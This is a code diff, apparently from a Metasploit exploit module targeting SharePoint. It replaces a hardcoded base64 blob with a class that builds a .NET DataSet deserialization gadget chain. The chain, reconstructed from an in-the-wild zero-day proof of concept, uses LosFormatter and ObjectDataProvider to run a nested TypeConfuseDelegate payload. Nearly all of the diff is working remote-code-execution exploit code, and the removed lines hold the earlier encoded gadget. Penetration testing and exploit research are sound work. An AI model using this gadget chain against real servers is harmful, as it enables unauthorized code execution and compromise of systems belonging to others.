@@ -153,6 +153,96 @@ def exploit
153
153
send_exploit ( gadget_raw )
154
154
end
155
155
156
+ # This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
157
+ # and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
158
+ # been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
159
+ # TypeConfuseDelegate gadget chain).
160
+ class DataSetWrapper < Msf ::Util ::DotNetDeserialization ::Types ::SerializedStream
161
+
162
+ def self . generate ( nested_gadget_b64 )
163
+ name_a = Rex ::Text . rand_text_alpha_lower ( 8 ..16 )
164
+ name_b = Rex ::Text . rand_text_alpha_lower ( 8 ..16 )
165
+ name_c = Rex ::Text . rand_text_alpha_lower ( 8 ..16 )
166
+
167
+ schema = <<~EOF
168
+ <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{ name_a } ">
169
+ <xs:element name="#{ name_a } " msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
170
+ <xs:complexType>
171
+ <xs:choice minOccurs="0" maxOccurs="unbounded">
172
+ <xs:element name="#{ name_b } ">
173
+ <xs:complexType>
174
+ <xs:sequence>
175
+ <xs:element name="#{ name_c } " msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
176
+ </xs:sequence>
177
+ </xs:complexType>
178
+ </xs:element>
179
+ </xs:choice>
180
+ </xs:complexType>
181
+ </xs:element>
182
+ </xs:schema>
183
+ EOF
184
+
185
+ diffgram = <<~EOF
186
+ <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
187
+ <#{ name_a } >
188
+ <#{ name_b } diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
189
+ <#{ name_c } xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
190
+ <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
191
+ <ExpandedElement/>
192
+ <ProjectedProperty0>
193
+ <MethodName>Deserialize</MethodName>
194
+ <MethodParameters>
195
+ <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{ nested_gadget_b64 } </anyType>
196
+ </MethodParameters>
197
+ <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
198
+ </ProjectedProperty0>
199
+ </ExpandedWrapperOfLosFormatterObjectDataProvider>
200
+ </#{ name_c } >
201
+ </#{ name_b } >
202
+ </#{ name_a } >
203
+ </diffgr:diffgram>
204
+ EOF
205
+
206
+ system = Msf ::Util ::DotNetDeserialization ::Assemblies ::VERSIONS [ '4.0.0.0' ] . fetch ( 'System.Data' )
207
+
208
+ library = Msf ::Util ::DotNetDeserialization ::Types ::RecordValues ::BinaryLibrary . new (
209
+ library_id : 2 ,
210
+ library_name : system . to_s
211
+ )
212
+
213
+ from_values ( [
214
+ Msf ::Util ::DotNetDeserialization ::Types ::RecordValues ::SerializationHeaderRecord . new ( root_id : 1 , header_id : -1 ) ,
215
+ library ,
216
+ Msf ::Util ::DotNetDeserialization ::Types ::RecordValues ::ClassWithMembersAndTypes . new (
217
+ class_info : Msf ::Util ::DotNetDeserialization ::Types ::General ::ClassInfo . new (
218
+ obj_id : 1 ,
219
+ name : 'System.Data.DataSet' ,
220
+ member_names : %w[ XmlSchema XmlDiffGram ]
221
+ ) ,
222
+ member_type_info : Msf ::Util ::DotNetDeserialization ::Types ::General ::MemberTypeInfo . new (
223
+ binary_type_enums : %i[ String String ]
224
+ ) ,
225
+ library_id : library . library_id ,
226
+ member_values : [
227
+ Msf ::Util ::DotNetDeserialization ::Types ::Record . from_value (
228
+ Msf ::Util ::DotNetDeserialization ::Types ::RecordValues ::BinaryObjectString . new (
229
+ obj_id : 3 ,
230
+ string : schema
231
+ )
232
+ ) ,
233
+ Msf ::Util ::DotNetDeserialization ::Types ::Record . from_value (
234
+ Msf ::Util ::DotNetDeserialization ::Types ::RecordValues ::BinaryObjectString . new (
235
+ obj_id : 2 ,
236
+ string : diffgram
237
+ )
238
+ ) ,
239
+ ]
240
+ ) ,
241
+ Msf ::Util ::DotNetDeserialization ::Types ::RecordValues ::MessageEnd . new
242
+ ] )
243
+ end
244
+ end
245
+
156
246
def create_gadget_chain
157
247
# NOTE: Depending on the version of SharePoint, different gadgets can be used.
158
248
#
@@ -174,24 +264,7 @@ def create_gadget_chain
174
264
175
265
typeconfusedelegate_gadget_b64 = Base64 . strict_encode64 ( typeconfusedelegate_gadget_raw )
176
266
177
- # This gadget chain was pulled from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
178
- # and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget has
179
- # been removed and replaced with a string value "HAX".
180
- #
181
- # TO-DO: get rid of this base64 blob, and construct the gadget using the Msf::Util::DotNetDeserializatio helper routines.
182
- dataset_gadget_b64 = 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L'
183
-
184
- dataset_gadget_raw = Base64 . strict_decode64 ( dataset_gadget_b64 )
185
-
186
- # We have replaced the original payload from the in-the-wild exploit, with a string value "HAX". We use that "HAX"
187
- # value to swap in our TypeConfuseDelegate gadget chain, and then fix up the string lengths.
188
- dataset_gadget_raw . gsub! (
189
- 'HAX' ,
190
- typeconfusedelegate_gadget_b64
191
- ) . gsub! (
192
- Msf ::Util ::DotNetDeserialization . encode_7bit_int ( 9163 ) ,
193
- Msf ::Util ::DotNetDeserialization . encode_7bit_int ( 9163 - 7772 + typeconfusedelegate_gadget_b64 . length )
194
- )
267
+ dataset_gadget_raw = DataSetWrapper . generate ( typeconfusedelegate_gadget_b64 ) . to_binary_s
195
268
196
269
vprint_status ( 'Using XmlSchema DataSet + BinaryFormatter gadget chain:' )
197
270
vprint_line ( Rex ::Text . to_hex_dump ( dataset_gadget_raw ) )
0 commit comments